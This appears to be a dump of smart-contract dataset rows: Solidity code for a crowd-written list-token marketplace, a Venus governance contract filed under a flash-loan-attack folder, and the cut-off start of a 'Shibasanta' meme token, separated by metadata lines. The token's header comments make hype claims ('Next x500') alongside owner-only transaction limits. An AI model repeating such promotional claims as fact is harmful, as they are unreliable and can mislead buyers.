listTINAmotleyIndexToAddress[17] = info_OwnerOfContract;
listTINAmotley.push("Motley fecundity, be fruitful and multiply");
listTINAmotleyIndexToAddress[18] = info_OwnerOfContract;
listTINAmotley.push("Perverts! Mothers! Leninists!");
listTINAmotleyIndexToAddress[19] = info_OwnerOfContract;
listTINAmotley.push("Space!");
listTINAmotleyIndexToAddress[20] = info_OwnerOfContract;
listTINAmotley.push("Over the exosphere");
listTINAmotleyIndexToAddress[21] = info_OwnerOfContract;
listTINAmotley.push("On top of the stratosphere");
listTINAmotleyIndexToAddress[22] = info_OwnerOfContract;
listTINAmotley.push("On top of the troposphere");
listTINAmotleyIndexToAddress[23] = info_OwnerOfContract;
listTINAmotley.push("Over the chandelier");
listTINAmotleyIndexToAddress[24] = info_OwnerOfContract;
listTINAmotley.push("On top of the lithosphere");
listTINAmotleyIndexToAddress[25] = info_OwnerOfContract;
listTINAmotley.push("Over the crust");
listTINAmotleyIndexToAddress[26] = info_OwnerOfContract;
listTINAmotley.push("You're the top");
listTINAmotleyIndexToAddress[27] = info_OwnerOfContract;
listTINAmotley.push("You're the top");
listTINAmotleyIndexToAddress[28] = info_OwnerOfContract;
listTINAmotley.push("Be fruitful!");
listTINAmotleyIndexToAddress[29] = info_OwnerOfContract;
listTINAmotley.push("Fill the atmosphere, the heavens, the ether");
listTINAmotleyIndexToAddress[30] = info_OwnerOfContract;
listTINAmotley.push("Glory! Glory. TINA TINA Glory.");
listTINAmotleyIndexToAddress[31] = info_OwnerOfContract;
listTINAmotley.push("Over the stratosphere");
listTINAmotleyIndexToAddress[32] = info_OwnerOfContract;
listTINAmotley.push("Over the mesosphere");
listTINAmotleyIndexToAddress[33] = info_OwnerOfContract;
listTINAmotley.push("Over the troposphere");
listTINAmotleyIndexToAddress[34] = info_OwnerOfContract;
listTINAmotley.push("On top of bags of space");
listTINAmotleyIndexToAddress[35] = info_OwnerOfContract;
listTINAmotley.push("Over backbones and bags of ether");
listTINAmotleyIndexToAddress[36] = info_OwnerOfContract;
listTINAmotley.push("Now TINA, TINA has a backbone");
listTINAmotleyIndexToAddress[37] = info_OwnerOfContract;
listTINAmotley.push("And motley confetti lists");
listTINAmotleyIndexToAddress[38] = info_OwnerOfContract;
listTINAmotley.push("Confetti arms, confetti feet, confetti mouths, confetti faces");
listTINAmotleyIndexToAddress[39] = info_OwnerOfContract;
listTINAmotley.push("Confetti assholes");
listTINAmotleyIndexToAddress[40] = info_OwnerOfContract;
listTINAmotley.push("Confetti cunts and confetti cocks");
listTINAmotleyIndexToAddress[41] = info_OwnerOfContract;
listTINAmotley.push("Confetti offspring, splendid suns");
listTINAmotleyIndexToAddress[42] = info_OwnerOfContract;
listTINAmotley.push("The moon and rings, the countless combinations and effects");
listTINAmotleyIndexToAddress[43] = info_OwnerOfContract;
listTINAmotley.push("Such-like, and good as such-like");
listTINAmotleyIndexToAddress[44] = info_OwnerOfContract;
listTINAmotley.push("(Mumbled)");
listTINAmotleyIndexToAddress[45] = info_OwnerOfContract;
listTINAmotley.push("Everything's for sale");
listTINAmotleyIndexToAddress[46] = info_OwnerOfContract;
listTINAmotley.push("Just bring your lists");
listTINAmotleyIndexToAddress[47] = info_OwnerOfContract;
listTINAmotley.push("Micro resurrections");
listTINAmotleyIndexToAddress[48] = info_OwnerOfContract;
listTINAmotley.push("Paddle steamers");
listTINAmotleyIndexToAddress[49] = info_OwnerOfContract;
listTINAmotley.push("Windmills");
listTINAmotleyIndexToAddress[50] = info_OwnerOfContract;
listTINAmotley.push("Anti-anti-utopias");
listTINAmotleyIndexToAddress[51] = info_OwnerOfContract;
listTINAmotley.push("Rocinante lists");
listTINAmotleyIndexToAddress[52] = info_OwnerOfContract;
listTINAmotley.push("In memoriam lists");
listTINAmotleyIndexToAddress[53] = info_OwnerOfContract;
listTINAmotley.push("TINA TINA TINA");
listTINAmotleyIndexToAddress[54] = info_OwnerOfContract;
listTINAmotleyBalanceOf[info_OwnerOfContract] = 42;
listTINAmotleyBalanceOf[address(0)] = 13;
listTINAmotleyTotalSupply = 55;
}
function info_TotalSupply() public view returns (uint256 total){
total = listTINAmotleyTotalSupply;
return total;
}
//Number of list elements owned by an account.
function info_BalanceOf(address _owner) public view
returns (uint256 balance){
balance = listTINAmotleyBalanceOf[_owner];
return balance;
}
//Shows text of a list element.
function info_SeeTINAmotleyLine(uint256 _tokenId) external view
returns(string){
require(_tokenId < listTINAmotleyTotalSupply);
return listTINAmotley[_tokenId];
}
function info_OwnerTINAmotleyLine(uint256 _tokenId) external view
returns (address owner){
require(_tokenId < listTINAmotleyTotalSupply);
owner = listTINAmotleyIndexToAddress[_tokenId];
return owner;
}
// Is the line available to be claimed?
function info_CanBeClaimed(uint256 _tokenId) external view returns(bool){
require(_tokenId < listTINAmotleyTotalSupply);
if (listTINAmotleyIndexToAddress[_tokenId] == address(0))
return true;
else
return false;
}
// Claim line owned by address(0).
function gift_ClaimTINAmotleyLine(uint256 _tokenId) external returns(bool){
require(_tokenId < listTINAmotleyTotalSupply);
require(listTINAmotleyIndexToAddress[_tokenId] == address(0));
listTINAmotleyIndexToAddress[_tokenId] = msg.sender;
listTINAmotleyBalanceOf[msg.sender]++;
listTINAmotleyBalanceOf[address(0)]--;
emit Claim(_tokenId, msg.sender);
return true;
}
// Create new list element.
function gift_CreateTINAmotleyLine(string _text) external returns(bool){
require (msg.sender != address(0));
uint256 oldTotalSupply = listTINAmotleyTotalSupply;
listTINAmotleyTotalSupply++;
require (listTINAmotleyTotalSupply > oldTotalSupply);
listTINAmotley.push(_text);
uint256 _tokenId = listTINAmotleyTotalSupply - 1;
listTINAmotleyIndexToAddress[_tokenId] = msg.sender;
listTINAmotleyBalanceOf[msg.sender]++;
return true;
}
// Transfer by owner to address. Transferring to address(0) will
// make line available to be claimed.
function gift_Transfer(address _to, uint256 _tokenId) public returns(bool) {
address initialOwner = listTINAmotleyIndexToAddress[_tokenId];
require (initialOwner == msg.sender);
require (_tokenId < listTINAmotleyTotalSupply);
// Remove for sale.
market_WithdrawForSale(_tokenId);
rawTransfer (initialOwner, _to, _tokenId);
// Remove new owner's bid, if it exists.
clearNewOwnerBid(_to, _tokenId);
return true;
}
// Let anyone interested know that the owner put a token up for sale.
// Anyone can obtain it by sending an amount of wei equal to or
// larger than _minPriceInWei.
function market_DeclareForSale(uint256 _tokenId, uint256 _minPriceInWei)
external returns (bool){
require (_tokenId < listTINAmotleyTotalSupply);
address tokenOwner = listTINAmotleyIndexToAddress[_tokenId];
require (msg.sender == tokenOwner);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId,
msg.sender, _minPriceInWei, address(0));
emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, address(0));
return true;
}
// Let anyone interested know that the owner put a token up for sale.
// Only the address _to can obtain it by sending an amount of wei equal
// to or larger than _minPriceInWei.
function market_DeclareForSaleToAddress(uint256 _tokenId, uint256
_minPriceInWei, address _to) external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
address tokenOwner = listTINAmotleyIndexToAddress[_tokenId];
require (msg.sender == tokenOwner);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId,
msg.sender, _minPriceInWei, _to);
emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, _to);
return true;
}
// Owner no longer wants token for sale, or token has changed owner,
// so previously posted for sale is no longer valid.
function market_WithdrawForSale(uint256 _tokenId) public returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (msg.sender == listTINAmotleyIndexToAddress[_tokenId]);
info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(false, _tokenId,
address(0), 0, address(0));
emit ForSaleWithdrawn(_tokenId, msg.sender);
return true;
}
// I'll take it. Must send at least as many wei as minValue in
// forSale structure.
function market_BuyForSale(uint256 _tokenId) payable external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
forSaleInfo storage existingForSale = info_ForSaleInfoByIndex[_tokenId];
require(existingForSale.isForSale);
require(existingForSale.onlySellTo == address(0) ||
existingForSale.onlySellTo == msg.sender);
require(msg.value >= existingForSale.minValue);
require(existingForSale.seller ==
listTINAmotleyIndexToAddress[_tokenId]);
address seller = listTINAmotleyIndexToAddress[_tokenId];
rawTransfer(seller, msg.sender, _tokenId);
// must withdrawal for sale after transfer to make sure msg.sender
// is the current owner.
market_WithdrawForSale(_tokenId);
// clear bid of new owner, if it exists
clearNewOwnerBid(msg.sender, _tokenId);
info_PendingWithdrawals[seller] += msg.value;
emit ForSaleBought(_tokenId, msg.value, seller, msg.sender);
return true;
}
// Let anyone interested know that potential buyer put up money for a token.
function market_DeclareBid(uint256 _tokenId) payable external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (listTINAmotleyIndexToAddress[_tokenId] != address(0));
require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender);
require (msg.value > 0);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
// Keep only the highest bid.
require (msg.value > existingBid.value);
if (existingBid.value > 0){
info_PendingWithdrawals[existingBid.bidder] += existingBid.value;
}
info_BidInfoByIndex[_tokenId] = bidInfo(true, _tokenId,
msg.sender, msg.value);
emit BidDeclared(_tokenId, msg.value, msg.sender);
return true;
}
// Potential buyer changes mind and withdrawals bid.
function market_WithdrawBid(uint256 _tokenId) external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
require (listTINAmotleyIndexToAddress[_tokenId] != address(0));
require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
require (existingBid.hasBid);
require (existingBid.bidder == msg.sender);
uint256 amount = existingBid.value;
// Refund
info_PendingWithdrawals[existingBid.bidder] += amount;
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0), 0);
emit BidWithdrawn(_tokenId, amount, msg.sender);
return true;
}
// Accept bid, and transfer money and token. All money in wei.
function market_AcceptBid(uint256 _tokenId, uint256 minPrice)
external returns(bool){
require (_tokenId < listTINAmotleyTotalSupply);
address seller = listTINAmotleyIndexToAddress[_tokenId];
require (seller == msg.sender);
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
require (existingBid.hasBid);
//Bid must be larger than minPrice
require (existingBid.value > minPrice);
address buyer = existingBid.bidder;
// Remove for sale.
market_WithdrawForSale(_tokenId);
rawTransfer (seller, buyer, _tokenId);
uint256 amount = existingBid.value;
// Remove bid.
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0),0);
info_PendingWithdrawals[seller] += amount;
emit BidAccepted(_tokenId, amount, seller, buyer);
return true;
}
// Retrieve money to successful sale, failed bid, withdrawn bid, etc.
// All in wei. Note that refunds, income, etc. are NOT automatically
// deposited in the user's address. The user must withdraw the funds.
function market_WithdrawWei() external returns(bool) {
uint256 amount = info_PendingWithdrawals[msg.sender];
require (amount > 0);
info_PendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
return true;
}
function clearNewOwnerBid(address _to, uint256 _tokenId) internal {
// clear bid when become owner via transfer or forSaleBuy
bidInfo storage existingBid = info_BidInfoByIndex[_tokenId];
if (existingBid.bidder == _to){
uint256 amount = existingBid.value;
info_PendingWithdrawals[_to] += amount;
info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId,
address(0), 0);
emit BidWithdrawn(_tokenId, amount, _to);
}
}
function rawTransfer(address _from, address _to, uint256 _tokenId)
internal {
listTINAmotleyBalanceOf[_from]--;
listTINAmotleyBalanceOf[_to]++;
listTINAmotleyIndexToAddress[_tokenId] = _to;
emit Transfer(_tokenId, _from, _to);
}
}
| 142,772 | 11,262 |
d1ef4d430cb64e60d186f31e087022efb64ccfa6172d78e5ab115bc560dab012
| 14,870 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Lending and Borrowing/FlashLoan Attack/Pump and Arbitrage Attack/venus/Governance/GovernorAlpha2.sol
| 3,514 | 14,556 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha2 {
/// @notice The name of this contract
string public constant name = "Venus Governor Alpha";
function quorumVotes() public pure returns (uint) { return 600000e18; } // 600,000 = 2% of XVS
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 300000e18; } // 300,000 = 1% of XVS
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 30; } // 30 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 60 * 60 * 24 * 3 / 3; } // ~3 days in blocks (assuming 3s blocks)
/// @notice The address of the Venus Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Venus governance token
XVSInterface public xvs;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address xvs_, address guardian_, uint256 lastProposalId_) public {
timelock = TimelockInterface(timelock_);
xvs = XVSInterface(xvs_);
guardian = guardian_;
proposalCount = lastProposalId_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(xvs.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || xvs.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = xvs.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface XVSInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 67,099 | 11,263 |
034e3bfbdd2d73019b0531ae55dd9ae0df2337cd7150952f27ad4d77a2eb25ac
| 26,755 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e4/e4dCc96B75DF18AE8123089Bcacb17eE98621c7D_Shibasanta.sol
| 4,664 | 17,066 |
// 700 token for airdrop/marketing (500 token lock 1week, after i need it for airdrop :))
// 2000 Total token / buy and sell tax 1% !
// Team wallet 300 token on 3 wallet (1 wallet 100 token)
// safe team=safe moon
// Join us on telegram: https://t.me/ShiibaSantaForZeMoon
// Original lp lock 1 week
// Next x500 here
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shibasanta is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Shiba santa';
string private _symbol = 'Shiba santa';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 1000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
